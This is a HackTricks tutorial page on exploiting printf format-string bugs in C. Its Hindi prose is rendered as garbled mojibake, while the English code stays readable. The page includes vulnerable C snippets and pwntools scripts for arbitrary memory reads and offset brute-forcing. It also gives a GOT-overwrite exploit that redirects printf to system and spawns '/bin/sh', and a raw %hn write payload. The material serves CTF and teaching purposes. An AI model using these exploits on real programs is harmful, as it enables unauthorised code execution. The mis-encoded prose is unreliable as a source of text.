hacktricks/binary-exploitation/format-strings
2024-11-19 12:01:29 +00:00
..
format-strings-arbitrary-read-example.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 18:53:16 +00:00
format-strings-template.md Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb 2024-07-18 18:53:16 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-11-19 12:01:29 +00:00

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ).

{% embed url="https://www.stmcyber.com/careers" %}

Basic Information

C рдореЗрдВ printf рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рд▓реА рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИ рд╡рд╣ рд╣реИ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЗ рд╕рд╛рде рдХрдЪреНрдЪрд╛ рдЯреЗрдХреНрд╕реНрдЯред рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИрдВ рд╡реЗ рд╣реИрдВ рдХрдЪреНрдЪреЗ рдЯреЗрдХреНрд╕реНрдЯ рд╕реЗ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиред

рдЕрдиреНрдп рдХрдордЬреЛрд░ рдлрд╝рдВрдХреНрд╢рди рд╣реИрдВ sprintf() рдФрд░ fprintf()ред

рдХрдордЬреЛрд░реА рддрдм рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЗрдирдкреБрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдЬреЛ printf рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкрддреЗ (рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп/рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп) рдореЗрдВ рдХреЛрдИ рднреА рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕ рддрд░рд╣ рд╕реЗ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ред

Formatters:

%08x тАФ> 8 hex bytes
%d тАФ> Entire
%u тАФ> Unsigned
%s тАФ> String
%p тАФ> Pointer
%n тАФ> Number of written bytes
%hn тАФ> Occupies 2 bytes instead of 4
<n>$X тАФ> Direct access, Example: ("%3$d", var1, var2, var3) тАФ> Access to var3

рдЙрджрд╛рд╣рд░рдг:

  • рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • рдЧрд╛рдпрдм рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf рдХрдордЬреЛрд░:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Pointers рддрдХ рдкрд╣реБрдБрдЪрдирд╛

рдлреЙрд░реНрдореЗрдЯ %<n>$x, рдЬрд╣рд╛рдБ n рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ, printf рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ n рдкреИрд░рд╛рдореАрдЯрд░ (рд╕реНрдЯреИрдХ рд╕реЗ) рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк printf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рд╕реЗ 4рд╡реЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("%x %x %x %x")

рдФрд░ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдЪреМрдереЗ рдкреИрд░рд╛рдореАрдЯрд░ рддрдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("%4$x")

рдФрд░ рд╕реАрдзреЗ рдЪреМрдереЗ рдХреЛ рдкрдврд╝реЗрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ printf рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрд╕рдХрд╛ рдЗрдирдкреБрдЯ printf рдХреЗ рдХреЙрд▓ рд╣реЛрдиреЗ рдкрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЗрдореЛрд░реА рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред

{% hint style="danger" %} рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЬреЛ рдЗрд╕ рдЗрдирдкреБрдЯ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рдордирдорд╛рдиреЗ рдкрддреЗ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ printf рдХреЛ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред {% endhint %}

рдордирдорд╛рдирд╛ рдкрдврд╝рдирд╛

рдлреЙрд░реНрдореЗрдЯрд░ %n$s рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ printf n рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕реНрдерд┐рдд рдкрддреЗ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗ, рдЙрд╕рдХреЗ рдмрд╛рдж рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗ (рдЬрдм рддрдХ 0x00 рдирд╣реАрдВ рдорд┐рд▓рддрд╛)ред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдХрд╛ рдмреЗрд╕ рдкрддрд╛ 0x8048000 рд╣реИ, рдФрд░ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реНрдЯреИрдХ рдореЗрдВ рдЪреМрдереЗ рд╕реНрдерд╛рди рдкрд░ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмрд╛рдЗрдирд░реА рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЗрдирдкреБрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ 0x8048000 рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЙрд╕ рдкрддреЗ рдХреЗ рдЕрдВрдд рдореЗрдВ 0x00 рдкрд░ рдХрдЯ рдЬрд╛рдПрдЧреАред {% endhint %}

рдСрдлрд╕реЗрдЯ рдЦреЛрдЬреЗрдВ

рдЕрдкрдиреЗ рдЗрдирдкреБрдЯ рдХреЗ рд▓рд┐рдП рдСрдлрд╕реЗрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк 4 рдпрд╛ 8 рдмрд╛рдЗрдЯреНрд╕ (0x41414141) рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдмрд╛рдж %1$x рдФрд░ рдорд╛рди рдмрдврд╝рд╛рдПрдВ рдЬрдм рддрдХ рдХрд┐ A's рдкреНрд░рд╛рдкреНрдд рди рд╣реЛ рдЬрд╛рдПрдВред

рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ printf рдСрдлрд╕реЗрдЯ ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### рдХрд┐рддрдиреА рдЙрдкрдпреЛрдЧреА

рдордирдорд╛рдиреЗ рдкрдврд╝рдиреЗ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:

* **рдмрд╛рдЗрдирд░реА** рдХреЛ рдореЗрдореЛрд░реА рд╕реЗ **рдбрдВрдк** рдХрд░рдирд╛
* рдореЗрдореЛрд░реА рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рднрд╛рдЧреЛрдВ рддрдХ **рдкрд╣реБрдБрдЪ** рдмрдирд╛рдирд╛ рдЬрд╣рд╛рдБ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ **рдЬрд╛рдирдХрд╛рд░реА** рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ (рдЬреИрд╕реЗ рдХреИрдирд░реА, рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдпрд╛ рдХрд╕реНрдЯрдо рдкрд╛рд╕рд╡рд░реНрдб рдЬреИрд╕реЗ рдЗрд╕ [**CTF рдЪреБрдиреМрддреА**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) рдореЗрдВ)

## **рдордирдорд╛рдирд╛ рд▓рд┐рдЦрдирд╛**

рдлреЙрд░реНрдореЗрдЯрд░ **`%<num>$n`** **рд▓рд┐рдЦрддрд╛** рд╣реИ **рд▓рд┐рдЦреЗ рдЧрдП рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛** рдХреЛ **рд╕рдВрдХреЗрддрд┐рдд рдкрддреЗ** рдореЗрдВ \<num> рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕реНрдЯреИрдХ рдореЗрдВред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ printf рдХреЗ рд╕рд╛рде рдЬрд┐рддрдиреЗ рдЪрд╛рд╣реЗрдВ рдЙрддрдиреЗ рдЕрдХреНрд╖рд░ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ **`%<num>$n`** рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдВрдЦреНрдпрд╛ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

рднрд╛рдЧреНрдпрд╡рд╢, рд╕рдВрдЦреНрдпрд╛ 9999 рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдирдкреБрдЯ рдореЗрдВ 9999 "A"s рдЬреЛрдбрд╝рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯрд░ **`%.<num-write>%<num>$n`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдЦреНрдпрд╛ **`<num-write>`** рдХреЛ **`num` рд╕реНрдерд┐рддрд┐ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдкрддреЗ** рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
```bash
AAAA%.6000d%4\$n тАФ> Write 6004 in the address indicated by the 4┬║ param
AAAA.%500\$08x тАФ> Param at offset 500

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдкрддрд╛ рдЬреИрд╕реЗ 0x08049724 (рдЬреЛ рдПрдХ HUGE рд╕рдВрдЦреНрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ рдмрд╛рд░ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╣реИ) рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрдЬрд╛рдп $n рдХреЗред рдпрд╣ рдХреЗрд╡рд▓ 2 Bytes рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдСрдкрд░реЗрд╢рди рджреЛ рдмрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдмрд╛рд░ рдкрддреЗ рдХреЗ рдЙрдЪреНрдЪрддрдо 2B рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА рдмрд╛рд░ рдирд┐рдореНрдирддрдо рдХреЗ рд▓рд┐рдПред

рдЗрд╕рд▓рд┐рдП, рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХрд┐рд╕реА рднреА рдкрддреЗ рдореЗрдВ рдХреБрдЫ рднреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (рдордирдорд╛рдирд╛ рд▓реЗрдЦрди)ред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬреЛ рдмрд╛рдж рдореЗрдВ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреНрдп рдордирдорд╛рдиреЗ рд▓реЗрдЦрди рдХреЛ exec рддрдХрдиреАрдХреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдкрдиреЗ рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ system рдлрд╝рдВрдХреНрд╢рди рдХреА рдУрд░ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИред
рдЬреИрд╕рд╛ рдХрд┐ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ 2 рдЪрд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рдЖрдк рдкрд╣рд▓реЗ 2Bytes рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЕрдиреНрдп 2ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • HOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдЙрдЪреНрдЪрддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ
  • LOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдирд┐рдореНрдирддрдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ

рдлрд┐рд░, рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕рдмрд╕реЗ рдЫреЛрдЯреЗ [HOB, LOB] рдХреЛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рджреВрд╕рд░реЗ рдХреЛред

рдпрджрд┐ HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

рдпрджрд┐ HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 N┬║Param_dir_HOB LOB_shell-HOB_shell N┬║Param_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools рдЯреЗрдореНрдкрд▓реЗрдЯ

рдЖрдк рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

рдпрд╛ рдпрд╣рд╛рдВ рд╕реЗ рдпрд╣ рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рдХреЗ рдкрддреЗ рдореЗрдВ рд▓рд┐рдЦреЗрдВ рдФрд░ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВред

Other Examples & References

  • https://ir0nstone.gitbook.io/notes/types/stack/format-string
  • https://www.youtube.com/watch?v=t1LH9D5cuK4
  • https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
  • https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
  • 32 рдмрд┐рдЯ, рдХреЛрдИ рд░рд┐рд▓рд░реЛ, рдХреЛрдИ рдХреИрдирд░реА, nx, рдХреЛрдИ рдкрд╛рдИ, рд╕реНрдЯреИрдХ рд╕реЗ рдлреНрд▓реИрдЧ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдмреБрдирд┐рдпрд╛рджреА рдЙрдкрдпреЛрдЧ (рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)
  • https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
  • 32 рдмрд┐рдЯ, рд░рд┐рд▓рд░реЛ, рдХреЛрдИ рдХреИрдирд░реА, nx, рдХреЛрдИ рдкрд╛рдИ, fflush рдХреЗ рдкрддреЗ рдХреЛ рдЬреАрддрдиреЗ рдХреЗ рдХрд╛рд░реНрдп рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ (ret2win)
  • https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
  • 32 рдмрд┐рдЯ, рд░рд┐рд▓рд░реЛ, рдХреЛрдИ рдХреИрдирд░реА, nx, рдХреЛрдИ рдкрд╛рдИ, .fini_array рдореЗрдВ рдореБрдЦреНрдп рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ (рддрд╛рдХрд┐ рдкреНрд░рд╡рд╛рд╣ рдПрдХ рдмрд╛рд░ рдФрд░ рд▓реВрдк рд╣реЛ) рдФрд░ system рдХреЗ рдкрддреЗ рдХреЛ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд▓рд┐рдЦреЗрдВ рдЬреЛ strlen рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред рдЬрдм рдкреНрд░рд╡рд╛рд╣ рдореБрдЦреНрдп рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛рддрд╛ рд╣реИ, strlen рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ system рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

рдпрджрд┐ рдЖрдк рд╣реИрдХрд┐рдВрдЧ рдХрд░рд┐рдпрд░ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ рдЕрдЬреЗрдп рдХреЛ рд╣реИрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╣рдо рднрд░реНрддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ рд╣реИ)ред

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks